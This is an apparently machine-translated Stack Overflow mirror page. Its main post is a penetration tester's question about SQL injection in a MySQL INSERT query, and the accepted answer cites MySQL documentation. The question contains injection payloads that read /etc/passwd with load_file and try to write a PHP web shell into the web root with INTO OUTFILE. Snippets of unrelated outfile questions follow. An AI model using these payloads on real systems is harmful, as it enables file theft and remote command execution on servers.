- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
这是一个有趣的场景。在最近的一次渗透测试中,我在 INSERT 查询中发现了 SQL 注入(inject)。后端代码看起来像这样:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
我可以在文件中插入任意值,甚至可以使用 SELECT 子查询将 '/etc/passwd' 的内容插入到某个表中的 col1 中,稍后通过一个完全不同的功能在其他地方读取它申请。
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
挑战是使用 INTO OUTFILE 将文件写入磁盘(我有 FILE privs 并且文档根目录可由 MySQL 用户写入 - 已验证)。看起来 MySQL 不支持以下内容:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
目的是在我有写权限的文件夹中写一个php web shell。需要执行的最终查询是这样的:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
MySQL 期望子查询返回数据,这就是为什么上面的语句似乎不起作用,因为 INTO OUTFILE 会将数据写入磁盘而不是将其返回到 MySQL。
您认为有解决方法吗?
最佳答案
来自 http://dev.mysql.com/doc/refman/5.7/en/select-into.html
An INTO clause should not be used in a nested SELECT because such a SELECT must return its result to the outer context.
所以我认为答案是否定的。
关于php - 在 INSERT MySQL 查询中选择 INTO OUTFILE,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39898844/
我正在运行一个查询,该查询根据某些 View 进行计算,并将结果写入文件。它看起来像这样: select `v1`.`id` AS `id`,`v2`.`name` AS `name`, `v2`.`
我无法理解这两种情况之间的区别: ./a.out > outfile 2>& 我可以在outfile中看到标准输出和错误输出 ./a.out 2>& > 输出文件 我只能看到标准输出 int outf
我在 MYSQL 中运行以下查询: SELECT 'id','uuid','progid','progname','priority','proglist' UNION SELECT programt
可以告诉TypeScript编译器使用outFile选项将所有文件捆绑在一起成为单个构建文件。 但是它将只捆绑* .ts文件,而则不捆绑node_modules或AMD loader实现中的依赖性。
我写了一个 MySQL 查询用于将数据导出到文本文件。 查询运行成功,但结果与我的预期不符。 我想在列之间没有间距的结果。 select sample_export_record1_2013.
我编写了这个简单的查询,它将把表中的所有数据提取到 CSV 文件中。 SELECT Group_concat(Concat(column_name)) FROM information_schem
这是我的第一篇文章,我真的需要帮助......我得到了这个场景...... 从 dbf 文件导出数据 将 dbf 文件数据保存到纯文件中,所有值均以“,”分隔 然后我净化数据并只获取我需要的字段 获取
只是想知道在 MySQL 中使用它时是否会产生任何错误,例如服务器上没有足够的空间放置文件或权限被拒绝等?谷歌了一下,但找不到太多东西。 最佳答案 简短回答:是 参见:http://dev.mysql
我正在尝试生成每月运行的导出,它将表中某一列的值附加到 OutFile 名称,这可能吗? 表是 mytable,列是 col1,其中在分钟处包含“201601” 我希望我的 OutFile 显示“/t
我如何精确到我的本地机器? select * into outfile 'C:\Info\table1.txt'表 1 中以 ',' 结尾的字段; 此查询在服务器上的 info 文件夹下创建为 tab
我有以下 sql 语句将 sql 表输出到 csv 文件。 在“内容”列中发现的一些数据包括引起问题的换行符,有没有办法将所有\n 替换为“s”? SELECT id, title, content
有没有办法让 .sql 文件中的 OUTFILE 语句指向 .sql 文件本身的当前工作目录的路径,而无需手动指定绝对路径名?现在,默认位置是我正在使用的模式的数据目录(即 C:\progra~1\m
我正在尝试将一些查询结果导出到 CSV 或 TAB 分隔文件。其中一个字段是包含特殊字符的文本 blob,可能包括单引号和双引号("、')、换行符(\n) 和制表符 (\t)。 +------+---
我想使用 parallel::makePSOCKcluster(..., outfile = "") 显示工作进程的输出,我还想隐藏“启动工作”消息。这可能吗?目前,我得到: > library(pa
我正在尝试通过“SELECT INTO OUTFILE”从表中导出数据库记录。一切正常。但我需要过滤记录,这就是问题所在。这是代码: SELECT * INTO OUTFILE 'file.txt'
import java.io.*; import java.util.*; public class Temperature { static Scanner keyboard = n
我在 Ubuntu 机器上使用 MySQL 数据库,并运行以下 SQL 语句: SELECT id,name FROM cars INTO OUTFILE 'my_cars.dat' LOAD DAT
SELECT t1.email FROM( SELECT email, SIGN(Locked1) FROM table WHERE SIGN(Locked1) <> 1 UNION SELECT e
尝试选择输出文件(文件名附近)时,我不断收到语法错误:“错误 1064 (42000):您的 SQL 语法有错误;请查看与您的 MySQL 服务器版本对应的手册在“/路径/文件”附近使用的正确语法 F
我正在尝试使我的输出文件流成为全局流,但最终弹出“‘输出文件’未命名类型”错误。我试过做一些谷歌搜索,但没有一个与 fstream 相关.. 我的代码: #include #inclu
我是一名优秀的程序员,十分优秀!